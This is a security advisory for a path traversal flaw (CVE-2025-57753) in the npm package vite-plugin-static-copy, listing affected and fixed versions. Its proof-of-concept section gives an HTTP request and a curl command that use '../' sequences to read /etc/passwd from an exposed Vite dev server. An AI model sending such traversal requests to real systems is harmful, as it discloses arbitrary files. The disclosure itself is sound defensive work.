GitHub Advisoryadvisory · npm

GHSA-pp7p-q8fx-2968 vite-plugin-static-copy files not included in `src` are possible to access with a crafted request

MEDIUM Published 2025-08-21 Modified 2025-08-21 Official page ↗
Aliases
CVE-2025-57753
Ecosystem
npm
Packages
vite-plugin-static-copy
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-22
Reviewed
2025-08-21

Affected packages

• npm vite-plugin-static-copy: >= 3.0.0, < 3.1.2 → fixed in 3.1.2 • npm vite-plugin-static-copy: >= 0.4.3, < 2.3.2 → fixed in 2.3.2

Description

Summary Files not included in `src` was possible to access with a crafted request. Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Arbitrary files can be disclosed by exploiting this vulnerability. Details Consider the following configuration in used by `vite.config.ts`: ```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ``` The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem. PoC I've attached a demo app to showcase the bug. Run it with `npm run dev` and issue the following HTTP request ``` GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2 ``` OR ``` curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd' ``` Observe that the `/etc/passwd` file is included in the response.

Related

Alias · CVE (1)

  • CVE-2025-57753 vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References